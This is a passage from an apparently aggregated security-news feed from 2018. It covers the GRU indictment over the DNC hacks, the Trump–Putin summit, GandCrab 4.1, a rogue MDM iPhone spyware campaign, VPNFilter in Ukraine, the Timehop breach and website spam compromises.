However, he added, “there’s no allegation in this indictment that the Americans knew they were corresponding with Russian intelligence officers.”

Rosenstein said he had briefed Trump “earlier this week” on the impending indictment and that the timing was determined by “the facts, the evidence, and the law.”

Rudolph W. Giuliani, Trump’s lawyer said on Twitter that the indictments “are good news for all Americans. The Russians are nailed. No Americans are involved.” He then called on Mueller “to end this pursuit of the president and say President Trump is completely innocent.”

On the other hand, Trump while speaking in Britain before the indictments were revealed, had said that he would question Putin about the allegations of election interfering.

“I will absolutely, firmly ask the question, and hopefully we’ll have a good relationship with Russia,” he told a joint press conference with British Prime Minister Theresa May.

At the same time, he also condemned the Mueller investigation as a “rigged witch hunt,” and said he has been “tougher on Russia than anybody.”

Russia rejected accusations that it meddled in the U.S. presidential election and has denied any role in the attack to help Trump win.

Senator Chuck Schumer, the Democratic Senate minority leader, advised Trump to cancel the Putin talks.

“These indictments are further proof of what everyone but the president seems to understand: President Putin is an adversary who interfered in our elections to help President Trump win,” Schumer said in a statement.

“President Trump should cancel his meeting with Vladimir Putin until Russia takes demonstrable and transparent steps to prove that they won’t interfere in future elections.”

Similarly, Republican Senator John McCain said the summit should be called off if Trump is not ready to warn Putin there is a “serious price to pay for his ongoing aggression towards the United States and democracies around the world.”

“If President Trump is not prepared to hold Putin accountable, the summit in Helsinki should not move forward,” McCain said.

Responding to the calls for cancellation of the summit to be held on Monday, the White House spokeswoman Sarah Sanders said, “It’s on.”

The post US indicts 12 Russians Intelligence Agents for hacking and leaking DNC emails appeared first on TechWorm.

Trump might ask Putin to extradite the 12 Russian intelligence officers

A few hours before the upcoming meeting between Donald Trump and Vladimir Putin, the US President said he might ask the extradition to the US of the 12 Russian intelligence officers accused of being involved in attacks against the 2016 presidential election.

Ahead of the Trump-Putin meeting in Helsinki on Monday, the US President announced that he may ask the extradition of the 12 Russian intelligence officers accused of attempting to interfere with the 2016 presidential election.

Trump will meet with Putin in Finland, despite calls from Democratic lawmakers to cancel the summit in light of indictments.

Journalist asked Trump whether he would request the extradition to the US of the Russian intelligence officers accused of hacking Hillary Clinton‘s presidential campaign, and the reply was clear

“Well, I might.” Trump said

“I hadn’t thought of that. But I certainly, I’ll be asking about it, but again, this was during the Obama administration. They were doing whatever it was during the Obama administration.”

Trump confirmed that Russian hackers targeted the 2016 Presidential election, but denied that they supported his campaign, he added that his Republican Party had also been hit by Russian hackers.

“I think the DNC (Democratic National Committee) should be ashamed of themselves for allowing themselves to be hacked,” he said. “They had bad defenses and they were able to be hacked. But I heard they were trying to hack the Republicans too. But — and this may be wrong — but they had much stronger defenses.”

The President blamed the DNC for poor security of its systems.

“The President then placed blame on Democrats for “allowing” the data and security breaches that led to Russia’s tampering in the election, saying the Democratic National Committee was ill-equipped to handle a cyberattack from a foreign actor. The Republican National Committee, on the other hand, had “much better defenses,” Trump claimed.” reported the CNN.
“They were doing whatever it was during the Obama administration,” Trump said of the Russians. “And I heard that they were trying, or people were trying, to hack into the RNC too, the Republican National Committee, but we had much better defenses. I’ve been told that by a number of people, we had much better defenses so they couldn’t. I think the DNC should be ashamed of themselves for allowing themselves to be hacked. They had bad defenses, and they were able to be hacked, but I heard they were trying to hack the Republicans too, but, and this may be wrong, but they had much stronger defenses.”

The attempts of hacking of “old emails” of the Republican National Committee was first reported by the CNN in January last year when it quoted the then-FBI Director James Comey.

Comey told a Senate panel that “old emails” of the Republican National Committee had been the target of hacking, but the material was never publicly released. Comey confirmed that there was no evidence the current RNC or the Trump campaign had been successfully hacked.

Trump admitted that he was going to meet Putin with “low expectations.”

“I’m not going with high expectations,” he added.

“I think it’s a good thing to meet,” he said. “I believe that having a meeting with Chairman Kim was a good thing. I think having meetings with the president of China was a very good thing.”

“I believe it’s really good. So having meetings with Russia, China, North Korea, I believe in it. Nothing bad is going to come out of it, and maybe some good will come out.”

Pierluigi Paganini

(Security Affairs – Trump-Putin meeting, hacking)

The post Trump might ask Putin to extradite the 12 Russian intelligence officers appeared first on Security Affairs.

Security Affairs newsletter Round 171 – News of the week

A new round of the weekly SecurityAffairs newsletter arrived!

The best news of the week with Security Affairs.

Let me inform you that my new book, “Digging in the Deep Web” is online with a special deal

20% discount

Kindle Edition

Paper Copy

Digging The Deep Web

Once again thank you!

·      HNS Botnet evolves and targets cross-platform database solutions
·      Smart Speaker Banking Is Coming to a Device Near You, But Is It Secure?
·      GoDaddy-owned hosting company Domainfactory hacked
·      Hacker hijacked original LokiBot malware to sell samples in the wild
·      HP iLO servers running outdated firmware could be remotely hacked
·      Timehop data breach, data from 21 million users exposed
·      Adobe July Patch Tuesday fixes over 100 flaws in Adobe Acrobat and Reader
·      BlackTech APT using stolen D-Link certificates to spread malware
·      Just using a $39 device it is possible to defeat new iOS USB Restricted Mode
·      Polar fitness app broadcasted sensitive data of intelligence and military personnel
·      A tainted version of Arch Linux PDF reader package found in a user-provided AUR
·      Do you want penetrate an airport network? An RDP access to internal machine goes for $10 on the dark web.
·      Hacker offered for sale US Military Reaper Drone documents for $200
·      Hackers steal $13.5 Million from Israeli Bancor exchange
·      Intel pays a $100K bug bounty for the new CPU Spectre 1.1 flaw
·      China-based TEMP.Periscope APT targets Cambodias elections
·      Popular software VSDC official website was hacked and used to distribute malware
·      Timehop provides additional details on the recent security breach
·      Facebook faces £500,000 fine in the U.K. over Cambridge Analytica scandal
·      Mobile Malware Campaign targets users in India through rogue MDM service
·      Spambot aims at targets WordPress sites in World Cup-Themed spam scam
·      Ukraine ‘s SBU Security Service reportedly stopped VPNFilter attack at chlorine station
·      12 Russian Intel Officers charged of hacking into U.S. Democrats
·      A few days after discovery of GandCrab ransomware ver 4.0, experts found 4.1 version

Pierluigi Paganini

(Security Affairs – Newsletter)

The post Security Affairs newsletter Round 171 – News of the week appeared first on Security Affairs.

A few days after discovery of GandCrab ransomware ver 4.0, experts found 4.1 version

Security experts from Fortinet recently detected a new version of the GandCrab ransomware, ver 4.1, that is being distributed through compromised websites

A few days ago, I wrote about the return of the GandCrab ransomware (v4), a new version appeared in the threat landscape and experts at BleepingComputer first reported it.

GandCrab ransomware is a young threat, it first appeared in the wild early this year, but rapidly evolved and it authors improves it across the months. As of March, the ransomware had infected over 50,000 systems and netted its operators over $600,000 in ransom payments.

Security experts from Fortinet recently detected a new version of the threat, the GandCrab ransomware 4.1 that is being distributed through compromised websites designed to appear like download sites for cracked applications.

As the GandCrab ransomware 4 version, the new variant uses the Salsa2.0 stream cipher to encrypt data instead of the RSA-2048 encryption that was used in early versions of the threat.

The code of the latest variant 4.1 includes a list of websites to which the malware connects to sends data related to the infected machine (i.e. IP address, username, computer name, network domain, and, if present, a list of anti-malware tools on the system).

“Only two days after the release of GandCrab 4.0, FortiGuard Labs found a newer version (v4.1) being distributed using the same method, which is through compromised websites disguised as download sites for cracked applications.” reads the analysis published by Fortinet.

“With this new version, GandCrab has added a network communication tactic that was not observed in the previous version.”

gandcrab ransomware

Why does the new variant send data to a large number of websites?

According to Fortinet, there is no evidence that those websites in the hard-coded list have actually been compromised, this circumstance suggests the authors of the malware are testing the functionality or have put it there as a diversionary tactic.

“However, we found no definitive evidence that the hard-coded websites included in the malware had actually ever been compromised to act as servers or download sites for GandCrab.” continues the analysis.

“Even more curious, the fact is that sending victim information to all live hosts in the list is illogical in a practical sense, given that a single successful send would have been enough for its purposes. With these points in mind, we have started to think that this function is either experimental, or simply there to divert analysis and that the URLs included in the list are just victims of a bad humour.”

The analysis of the ransomware revealed that the GandCrab ransomware 4.1 kills numerous processes that can interfere with the file encryption process. For example, it kills msftesql.exe, sqlagent.exe, oracle.exe, msaccess.exe, powerpnt.exe, and wordpad.exe to encrypt high-value files used by most popular applications, such as Microsoft Office Files, Steam, Oracle, etc.

The experts from Fortinet highlighted that there is no evidence that the GandCrab ransomware 4.1 is also able to spread via SMB shares, such as WannaCry and Petya/NotPetya.

“Over the past few days, numerous reports have been circulating claiming that this version of the GandCrab malware can self-propagate via an “SMB exploit”” continues the analysis.

GandCrab ransomware 4

“However, in spite of this string, we could not find any actual function that resembles the reported exploit capability. (It may also be relevant to report that this string was actually first found in v4.0 and not in v4.1, at least in the samples that we have analysed.) Since this string is not connected to any actual exploit spreading function that we could uncover, it seems much more likely that it is simply referring to the encryption of network shares, and not for any sort of exploit propagation.”

Summarizing the threat continues to evolve, but it can not spread via SMB shares yet.

Pierluigi Paganini

(Security Affairs – gandcrab ransomware 4.1, cybercrime)

The post A few days after discovery of GandCrab ransomware ver 4.0, experts found 4.1 version appeared first on Security Affairs.

12 Russian Intel Officers charged of hacking into U.S. Democrats

The week closes with the indictment for twelve Russian intelligence officers by a US grand jury. The charges were formulated just three days before President Donald Trump is scheduled to meet with Vladimir Putin.

The special Counsel Robert Mueller, who indicted on February 13 Russians for a massive operation aimed to influence the 2016 Presidential election, now charged 12 Russian intelligence officers working under the GRU of carrying out “large-scale cyber operations” to steal Democratic Party documents and emails.

Deputy Attorney General Rod Rosenstein announced the indictment at a press conference in Washington.

“there’s no allegation in this indictment that any American citizen committed a crime.” said Rosenstein. “the conspirators corresponded with several Americans during the course of the conspiracy through the internet.”

However, “there’s no allegation in this indictment that the Americans knew they were corresponding with Russian intelligence officers,”

During the news conference, the Deputy Attorney General Rod Rosenstein described the technical details of the operations conducted by the units of Russia’s GRU intelligence agency. The cyberspies stole emails from the Democratic National Committee and Hillary Clinton’s campaign, then leaked them in ways meant to influence the perception of Americans about the Presidential election.

Rosenstein reported a second operation in which the officers targeted the election infrastructure and local election officials. The Russian intelligence set up servers in the U.S. and Malaysia under fake names to run their operations, the agents used payment with cryptocurrency that had been “mined” under their direction.

“The fine details of Russian intelligence operations — the names of officers, the buildings where they worked and the computers they used to run phishing operations and make payments — suggest that prosecutors had an inside view aided by their own or another government’s intelligence apparatus.” reads an article published by Bloomberg.

Rosenstein also remarked that “there’s no allegation that the conspiracy changed the vote count or affected any election result.”

Rosenstein also announced that Trump was informed about the indictment before the announcement and that the timing was determined by “the facts, the evidence, and the law.”

The Deputy Attorney General, confirmed that 11 of the Russians indicted were charged with “conspiring to hack into computers, steal documents, and release those documents with the intent to interfere in the election.”

“One of those defendants and a 12th Russian are charged with conspiring to infiltrate computers of organizations involved in administering elections,” he added.

“The defendants accessed email accounts of volunteers and employees of a US presidential campaign, including the campaign chairman starting in March of 2016,” 

“They also hacked into the computer networks of a congressional campaign committee and a national political committee.”

The minority at the US Government is pressing Trump to cancel the meeting with Putin because he intentionally interfered with the election to help Trump’s presidential campaign.

“These indictments are further proof of what everyone but the president seems to understand: President Putin is an adversary who interfered in our elections to help President Trump win,” Senator Chuck Schumer, the Democratic Senate minority leader said in a statement.

“President Trump should cancel his meeting with Vladimir Putin until Russia takes demonstrable and transparent steps to prove that they won’t interfere in future elections,”

Speaking on Friday, before the indictments were announced, Trump explained that he would ask Putin about the alleged interference of Russian intelligence in the Presidential election.

“I will absolutely, firmly ask the question, and hopefully we’ll have a good relationship with Russia,” Trump told a joint press conference with British Prime Minister Theresa May.

Trump described the Mueller investigation as a “rigged witch hunt,” and added that he has been “tougher on Russia than anybody.”

“We have been extremely tough on Russia,” 

Russian intelligence

Hillary Clinton and Donald Trump are tightening their grips on the Democratic and Republican presidential nominations.

Trump evidently believes that the hostility against Russia is a severe interference with the relationship and the collaboration between the two states.

Russia denies any involvement in the elections, and the Kremlin expelled 60 intelligence officers from the Russian embassy in Washington in response to a nerve agent attack on a former Russian spy in Britain.

No Americans were charged Friday, but the indictment reports unidentified Americans were in contact with the Russian intelligence officers.

According to the indictment, there was at least a person close to the Trump campaign and a candidate for Congress that in contact the Russians officers.

Pierluigi Paganini

(Security Affairs – Russian Intelligence, Presidential election)

The post 12 Russian Intel Officers charged of hacking into U.S. Democrats appeared first on Security Affairs.

Mobile Malware Campaign targets users in India through rogue MDM service

Talos Team have uncovered a “highly targeted” campaign leveraging a mobile malware distributed through a bogus MDM service

Security experts from Talos Team have uncovered a “highly targeted” campaign leveraging a mobile malware that has been active at least since August 2015. The researchers believe that cyberspies are operating from China and they found spying on 13 selected iPhones in the same country.

Attackers were abusing a mobile device management (MDM) service that normally allows large enterprises to control devices being used by the employees and enforce policies.

The access to the MDM service used by a company could allow an attacker to control employees’ devices and deploy malware and the targeted devices.

bogus MDM service

“Cisco Talos has identified a highly targeted campaign against 13 iPhones which appears to be focused on India. The attacker deployed an open-source mobile device management (MDM) system to control enrolled devices.” reads the analysis published by Cisco Talos.

“At this time, we don’t know how the attacker managed to enroll the targeted devices. Enrollment could be done through physical access to the devices, or most likely by using social engineering to entice a user to register”

hack-iphone-using-mdm-server

To enroll an iOS device into the MDM service requires a user to manually install enterprise development certificate. Enterprises can obtain such kind of certificates through the Apple Developer Enterprise Program.

Enterprise can deliver MDM configuration file through email or a webpage for over-the-air enrollment service using the Apple Configurator.

“MDM uses the Apple Push Notification Service (APNS) to deliver a wake-up message to a managed device. The device then connects to a predetermined web service to retrieve commands and return results,” reads Apple about MDM.

Cisco’s Talos experts believe that attackers used either social engineering techniques, such as a fake tech support-style call or gaining in some way a physical access to the targeted devices.

The threat actors behind this campaign used the BOptions sideloading technique to inject malicious code to legitimate apps, including the messaging apps WhatsApp and Telegram that were then deployed through the MDM service onto the 13 targeted devices in India.

The BOptions sideloading technique allowed the attacker to inject a dynamic library in the application that implements spyware capabilities. The malicious code allows that attacker of collecting and exfiltrating information from the targeted device, including the phone number, serial number, location, contacts, user’s photos, SMS and Telegram and WhatsApp chat messages.

It is still a mystery how attackers tricked victims into installing a certificate authority on the iPhone and how they added the 13 targeted iPhones into their rogue MDM service.

Exfiltrated data and information about the compromised devices were sent to a remote server located at hxxp[:]//techwach[.]com

Among the tainted apps used by the attackers, there was also PrayTime, an application that notifies users when it is time to pray.

“Talos identified another legitimate app executing malicious code during this campaign in India. PrayTime is used to give the user a notification when it’s time to pray,” continues the analysis.

“The purpose is to download and display specific ads to the user. This app also leverages private frameworks to read the SMS messages on the device it is installed on and uploads these to the C2 server.”

Talos was not able to attribute the attack to a specific actor either which are its motivations, they were only able to find evidence suggesting the attackers were operating from India. Experts noticed that attackers planted a “false flag” by posing as a Russian threat actor.

“The certificate was issued in September 2017 and contains an email address located in Russia. Our investigation suggests that the attacker is not based out of Russia. We assume this is a false flag to point researchers toward the idea of a “classical Russian hacker.” False flags are becoming more common in malware, both sophisticated and simple. It’s an attempt to muddy the waters for the analysts/researchers to direct blame elsewhere.” continues the analysis.

Talos shared its findings with Apple that quickly revoked 3 certificates used in this campaign.

Further details, including IoCs are reported in the analysis shared by Talos.

Pierluigi Paganini

(Security Affairs – MDM service, India)

The post Mobile Malware Campaign targets users in India through rogue MDM service appeared first on Security Affairs.

Gas Pump Hack

This is weird:

Police in Detroit are looking for two suspects who allegedly managed to hack a gas pump and steal over 600 gallons of gasoline, valued at about $1,800. The theft took place in the middle of the day and went on for about 90 minutes, with the gas station attendant unable to thwart the hackers.

The theft, reported by Fox 2 Detroit, took place at around 1pm local time on June 23 at a Marathon gas station located about 15 minutes from downtown Detroit. At least 10 cars are believed to have benefitted from the free-flowing gas pump, which still has police befuddled.

Here's what is known about the supposed hack: Per Fox 2 Detroit, the thieves used some sort of remote device that allowed them to hijack the pump and take control away from the gas station employee. Police confirmed to the local publication that the device prevented the clerk from using the gas station's system to shut off the individual pump.

Slashdot post.

Hard to know what's true, but it seems like a good example of a hack against a cyber-physical system.

Spambot aims at targets WordPress sites in World Cup-Themed spam scam

Imperva observed a spambot targeting WordPress sites aimed at tricking victims into clicking on links to sites offering betting services on FIFA World Cup

Security experts from Imperva recently observed a spike in spam activity directed at WordPress websites, attackers aimed at tricking victims into clicking on links to sites offering betting services on the 2018 FIFA World Cup games.

Imperva monitored the activity of a botnet used to spread meaningless text messages generated from a template to comments sections in blogs, news articles, and other web sites that allow people to comment.

“Turns out the attack was launched by a botnet and implemented in the form of comment SPAM – meaningless, generic text generated from a template and posted in the comment sections of blogs, news articles etc; linking to pay-per-click commercial or suspicious sites looking to scam you or phish for your passwords.” reads the report published Imperva.

The spambot was used to post comments to the same Uniform Resource Identifier (URI) across different WordPress sites indiscriminately and without regard for whether the site is has a comments section or is affected by exploitable known issues.

The comments are generated starting from this template that is known since at least 2013. The template allows to automatically create slightly different versions of the same message to use in spam campaigns.

“Our analysis found that the top 10 links advertised by the botnet lead to World Cup betting sites. Interestingly, eight of the top advertised sites contained links to the same betting site, hinting that they might be connected in a way.” continues Imperva.

World Cup betting sites

“We found that the botnet advertised over 1000 unique URLs, most of them appear multiple times. In many cases, the botnet used different techniques such as URL redirection and URL-shortening services to mask the true destination of the advertised link.”

According to the experts, the spambot is still small, it is composed of just 1,200 unique IPs with up to 700 daily unique IPs. The experts discovered that botnet has also been using URL-shortening, URL redirection, and other techniques to masquerade the landing sites of advertised links in its spam messages.

In the weeks before the World Cup, the spambot was being used in remote code execution attacks and other non-SPAM attacks on WordPress sites

Spambot World Cup

Just after the beginning of the 2018 World Cup, the botnet activity was focused on comment spam, a circumstance that suggests the malicious infrastructure is available for hire.

“A possible explanation is that the botnet is for hire. The malicious activity we’ve seen at first was either paid for or simply the botnet’s attempt to grow itself. Then, it was hired by these betting sites to advertise them and increase their SEO.” continues the analysis.

Comment spam is a well-known activity in the threat landscape, the most common countermeasure it to blacklist IPs originating spams messages and also the URLs that they advertise.

WordPress also has several Plug-ins that cuold defeat this boring activity.

“Although comment SPAM has been with us for more than a decade — and doesn’t seem like it’s going away anytime soon — there are numerous solutions ranging from dedicated plugins that block comments that look SPAMmy, to WAF services.” concluded Imperva.

Pierluigi Paganini

(Security Affairs – spambot, World Cup spam)

The post Spambot aims at targets WordPress sites in World Cup-Themed spam scam appeared first on Security Affairs.

The Most Common Hack Is Also the Most Successful. Here’s How to Fight It

Despite what movies might show, most hacks don’t involve frantic typing or brute-force attacks. In fact, Verizon’s “2017 Data Breach Investigations” report revealed that 90 percent of successful hacks aren’t

The post The Most Common Hack Is Also the Most Successful. Here’s How to Fight It appeared first on The Cyber Security Place.

Ukraine ‘s SBU Security Service reportedly stopped VPNFilter attack at chlorine station

Ukraine ‘s SBU Security Service reportedly stopped VPNFilter attack at chlorine station, the malware infected the network equipment in the facility that supplies water treatment and sewage plants.

According to the Interfax-Ukraine media outlet, the VPNFilter hit the LLC Aulska station in Auly (Dnipropetrovsk region), according to the experts the malware aimed at disrupting operations at the chlorine station.

“Specialists of the cyber security service established minutes after [the incident] that the enterprise’s process control system and system for detecting signs of emergencies had deliberately been infected by the VPNFilter computer virus originating from Russia. The continuation of the cyber attack could have led to a breakdown in technological processes and a possible accident,” the SBU said on its Facebook page on Wednesday.

VPNFilter is a multi-stage, modular strain of malware that has a wide range of capabilities for both cyber espionage and sabotage purpose.

According to the experts at Fortinet that analyzed the malware, VPNFilter operates in the following three stages:

  • Stage 1 implements a persistence mechanism and redundancy; it allows the malware to survive a reboot.
  • Stage 2 includes data exfiltration, command execution, file collection, and device management. Only in some versions it is present a self-destruct module.
  • Stage 3 includes multiple modules that perform different tasks. At the time researchers identified only three modules:
    • A packet sniffer for traffic analysis and potential data exfiltration.
    • The monitoring of MODBUS SCADA protocols.
    • Communication with obfuscated addresses via TOR

The main concerns are for a self-destruct mode that could cause severe damages across all infected devices simultaneously, a feature that could potentially result in widespread Internet outage over a targeted geographic region.

Technical analysis of the code revealed many similarities with another nation-state malware, the BlackEnergy malware that was specifically designed to target ISC-SCADA systems and attributed to Russian threat actors.

Another similarity is the geographic distribution of the infections, both BlackEnergy and VPNFilter infected a large number of devices in Ukraine.

VPNFilter malware

According to the experts, many infected devices have been discovered in Ukraine, and their number in the country continues to increase. On May 8, Talos researchers observed a spike in VPNFilter infection activity, most infections in Ukraine and the majority of compromised devices contacted a separate stage 2 C2 infrastructure at the IP 46.151.209[.]33.

The experts discovered the VPNFilter malware had infected devices manufactured by Linksys, MikroTik, Netgear, QNAP, and TP-Link.

At the time of first discovery, the US Justice Department seized a domain used as part of the command and control infrastructure, its press release explicitly referred the Russian APT groups (APT28Pawn StormSandwormFancy Bear and the Sofacy Group) as the operators behind the huge botnet,

“The Justice Department today announced an effort to disrupt a global botnet of hundreds of thousands of infected home and office (SOHO) routers and other networked devices under the control of a group of actors known as the “Sofacy Group” (also known as “apt28,” “sandworm,” “x-agent,” “pawn storm,” “fancy bear” and “sednit”),” reads the press release published by the DoJ.

“The SBU said its agents together with a telecoms provider and workers of the station managed to prevent a potential man-made disaster, adding Russia special forces were behind cyber attacks with the same virus on the public and private sectors in May 2018.” concluded the Interfax-Ukraine.

Pierluigi Paganini

(Security Affairs – VPNFilter, Ukraine)

The post Ukraine ‘s SBU Security Service reportedly stopped VPNFilter attack at chlorine station appeared first on Security Affairs.

PUBG streamer ‘Shroud’ banned for playing the game with a hacker

Popular Streamer ‘Shroud’ Banned For Cheating In PUBG

PUBG Corp., the developer behind the popular online battle royale game, “PlayerUnknown’s Battlegrounds” (PUBG) have been strict against those who are creating and selling hacks for the PUBG game. In the month of April, 15 suspects were arrested for developing and selling hacking/cheating programs that affect PUBG. The company is very clear that it wants to root out cheating from PUBG, as they want to create an environment for players that’s completely safe from hackers and cheaters.

And their latest action just showcased that. According to Kotaku, PUBG Corp. has issued a one-month ban to Michael ‘Shroud’ Grzesiek – the most popular streamer on Twitch for PlayerUnknown’s Battleground – for playing alongside a hacker. The ban was issued after he shared a few clips online where he is seen riding in a flying car and shooting a player hiding inside of a building using hacks.

While he was half-way through a match, Shroud found that PUBG decided to ban him for an entire month for committing two offences as said above. “It really goes to show that [developer] PUBG [Corp.]-full offense to you guys-don’t give as-, because that guy should have been banned immediately,” Shroud commented after the ban.

He also questioned as to why the original hacker had not been banned yet whom he had encountered on three separate occasions. “He ran into me twice — the first time he ran me over fine that was kind of quick, whatever. Second time, he parked his car and I killed him when he was flying his car into the house. At that point, he should already be banned. Third time, I said F*** it, let’s see how long this last. We are riding around together — he’s still not banned,” he added.

However, post the ban, Shroud apologized for his actions via a Twitch stream. “I was trying to have a good time. Obviously, I knew what the fuck I was doing. It wasn’t a great idea. It seemed like a great idea. But it wasn’t a great idea. I’m sorry to those peeps that are really upset with me, with all the, you know, flying around with the cheater and stuff. I got banned for a month.”

He also described the round as “the most enjoyable game of PUBG I’ve had in a long time.” Shroud can still play PUBG if he wishes to; it’s just that he won’t be able to use his main account to do so.

When Kotaku contacted PUBG Corp. to clarify as to why Shroud was banned and why, a representative of the company said: “We do not publicly disclose/discuss individual player penalties. We encourage all players to refer to our posted PUBG Rules of Conduct, here.”

What do you think the 30-day ban on Shroud? Do let us know your thoughts in the comments section below.

The post PUBG streamer ‘Shroud’ banned for playing the game with a hacker appeared first on TechWorm.

Timehop provides additional details on the recent security breach

Timehop has recently announced to have suffered a data breach that affected 21 million user accounts. The company now shares additional details about the incident.

Timehop service aims to help people in finding new ways to connect with each other by analyzing past activities, earlier this month, the company revealed that one or more malicious hackers gained unauthorized access to a database storing usernames, phone numbers, email addresses, and social media access tokens for all users.

The security breach also exposed access tokens used by Timehop to access other social networks such as Twitter, Facebook, and Instagram. The tokens have been quickly revoked and currently don’t work.

Wednesday the company provided an update on the incident adding that further info was exposed, including dates of birth, genders, and country codes.

timehop

Earlier reports of “up to 21 million emails” were correct. However we now provide the following breakdown of Personally Identifiable Information (PII) that was breached, and the combinations contained in records” reads the update provided by the company.

Type of Personal Data Combination # of Breached Records # of Breached GDPR Records
Name, email, phone, DOB 3.3 million 174,000
Name, email address, phone 3.4 million 181,000
Name, email address, DOB 13.6 million 2.2 million
Name, phone number, DOB 3.6 million 189,000
Name and email address 18.6 million 2.9 million
Name and phone number 3.7 million 198,000
Name and DOB 14.8 million 2.5 million
Name total 20.4 million 3.8 million
DOB total 15.5 million 2.6 million
Email addresses total 18.6 million 2.9 million
Gender designation total 9.2 million 2.6 million
Phone numbers total 4.9 million 243,000

The company provided a detailed analysis of exposed info, specifically for the affected PII records in compliance with the introduced GDPR.

According to the company, hackers first breached into its systems on December 19, 2017, using an employee’s credentials for the company’s cloud computing environment.

The attackers accessed the systems through an IP address in the Netherlands.

In a first phase, the hacker conducted a reconnaissance, at the time the compromised environment had not stored any personal information. In early April, the company moved personal information to the compromised database and the attackers found it only on June 22.

On July 4, the hacker exfiltrated the data and changed its password. The activity was noticed by the company in nearly 24 hours.

“They did not immediately suspect a security incident for two reasons that in retrospect are learning moments,” reads the technical analysis published by Timehop. “First, because it was a holiday and no engineers were in the office, he considered it likely that another engineer had been doing maintenance and changed the password. Second, password anomalies of a similar nature had been observed in past outage. He made the decision that the event would be examined the next day, when engineers returned to the office.”

Pierluigi Paganini

(Security Affairs – Timehophacking)

The post Timehop provides additional details on the recent security breach appeared first on Security Affairs.

Hackers break into newswire services, trade on what they find

Some financially-motivated hackers go straight for the money, but others take a more circuitous route, going after information that they can use for profit. That’s what criminals convicted this week did until they were caught in 2015, earning millions in ill-gotten gains.

Ep. 107 – All Your Bias Are Belong to Us with Paolo Gaudiano

Biases – we all have them.  Are they useful? What do they tell us about ourselves or corp culture? And most importantly, how can a social engineer use them. Join us with Paolo Gaudiano in this excellent podcast. July 09, 2018

Contents

Download

Ep. 107 – All Your Bias Are Belong to Us with Paolo Gaudiano

Miro Video Player

Get Involved

Got a great idea for an upcoming podcast? Send us a quick message on the contact form!

Enjoy the Outtro Music? Thanks to Clutch for allowing us to use Son of Virginia as our new SEPodcast Theme Music

And check out a schedule for all our training at Social-Engineer.Com

Check out the Innocent Lives Foundation to help unmask online child predators.

The post Ep. 107 – All Your Bias Are Belong to Us with Paolo Gaudiano appeared first on Security Through Education.

Red Hen website suffers SEO spam compromise

If you’re thinking about checking out the website owned by the restaurant that asked White House press secretary Sarah Huckabee Sanders to leave the premises, you might want to hold off. There’s some site compromise action afoot.

Although the homepage appears to be acting in a perfectly normal manner, turning off scripts so you can see what’s happening under the hood provides a rather stark visual discrepancy.

Visiting as normal:

code running...Click to enlarge

Visiting with scripts turned off:

scripting off...

Click to enlarge

Why yes, that’s a collection of Viagra spam text injected into the website with the aim of giving a search engine boost to the sites linked. What you’re seeing here is the otherwise “hidden” code leaking through onto the page; it actually resides in the HTML source like so:

code

Click to enlarge

The sites hoping to get a search engine boost from the compromised restaurant page are pushing pharmaceuticals. Here’s the first example, a shopping portal for Generic Viagra:

viagra spam

Click to enlarge

The second is for a prescription drug I’m not even going to attempt to pronounce:

spam site

Click to enlarge

Old hat

This is an absolutely ancient black hat tactic, most typically referred to as a form of SEO (Search Engine Optimisation) spam, or “Spamdexing.” Threat actors either use dirty SEO tactics to drive high traffic to their pages or they capitalize on already highly-trafficked targets by hiding their links in subtext. The most common forms down the years have tended to be one of the following:

  1. Keyword stuffing, where lots of content-specific words are jammed into the text of an article to artificially drive traffic in ways that would otherwise make little sense.
  2. Scraper sites, which pillage content from other places and occasionally remove things like the author or company name, hoping to make some ad-based revenue from the multitude of flashing banners hosted on their own website.
  3. Hidden text, where a website is filled with content the same colour as the background and placed across multiple pages in an effort to boost links/ranking for the linked sites in question. This can be content added deliberately by the webmaster, but it can also come about as a result of a hacked website.

A fourth variant of SEO poisoning would be where a hacker added malicious files to a site and drew visitors there through bogus search results, but services such as Google have been cracking down on this for years.

The fallout

While compromises of this kind may give a slight, fleeting edge to the scammers pushing their wares, it can do significant damage to the webmaster’s online business. Everything from page rank to general trustworthiness all take a nose dive in the eyes of Google, and it can be hard to get things back on track.

In this case, the Red Hen site is running on WordPress, so it’s possible an exploit targeting the popular platform or one of its plugins was used. It could even be down to something as basic as gaining access using default admin credentials, or a webmaster being caught up in a phishing scam. We couldn’t say for sure, though attacks on content management systems have been ramping up over the last quarter. Regardless of the break-in method, the site owners definitely have some cleaning up to do.

If you’d like to delve deeper into the art of SEO, we have a couple of links you can browse.

SEO poisoning: is it worth it?

Google’s featured snippets abused by SEO scammers

A guide to website security

Otherwise, pay attention to search results when hunting around online. If you’re expecting to see a result for an eatery located in Lexington but instead find a webpage related to cars and written in Japanese—someone is likely giving Google the slip by abusing its algorithms in order to boost phony results.

search text

Click to enlarge

And if you do find your favorite restaurant is serving up Viagra instead of farm-to-table, you might want to do things the old fashioned way: Grab a leaflet and order takeout.

The post Red Hen website suffers SEO spam compromise appeared first on Malwarebytes Labs.

World Cup 2018: malware attacks gunning for goal

World Cup 2018 is upon us and in full swing, bringing together 32 nations for a month of footballing to see who’ll be crowned World Champion. With the tournament underway, we thought it’d be fun to see which of the footballing powerhouses also expended a similar amount of energy fighting off malware attacks.

From January 1 until June 14, the day the World Cup matches began, we gathered up all of our data on registered threats per country, seeing which “teams” attracted the most attacks, and which slipped under the malware radar. Shall we take a look?

The rules of the game

We generally regard the “winner” of a game as the one who, well, wins. Score the most goals, beat the opponents, and move onto the next stage until victory is yours. That doesn’t quite work when talking about malware attacks on a collection of nations, however. In our wacky realm of World Cup–themed malware antics, the winner is the loser, in a way.

For example, do you think the nation being hammered with the most attacks is feeling like much of a champion?

Perhaps your take is that the true victor is the team who receives the smallest number of attacks. But that doesn’t necessarily mean that the country is doing a bang-up job defending against malware.

Maybe their infrastructure isn’t as interesting to criminals as one belonging to a larger nation. Perhaps they’re missing a number of home-grown hackers who code terrible things in their spare time. Whatever the reason, some other countries just aren’t seeing the same amount of malware as the “winners.”

Whatever your stance, we’ve got you covered with one of those gigantic novelty football tarps.

First half

Russia is the hands-down “winner” in terms of sheer volume of attacks, with a total of 5,942,715 malware threats received since the beginning of the year. With just over 1,500 threats per hour, Russia is most under fire from adware (1,940,814 cases), cryptomining (1,116,872 cases), and Trojans (987,233 cases).

Brazil, with 5,789,375 registered malware threats since the beginning of the year, is close behind Russia in second place. Their goal was most frequently hammered by adware (1,508,125 cases) and cryptomining (948,143).

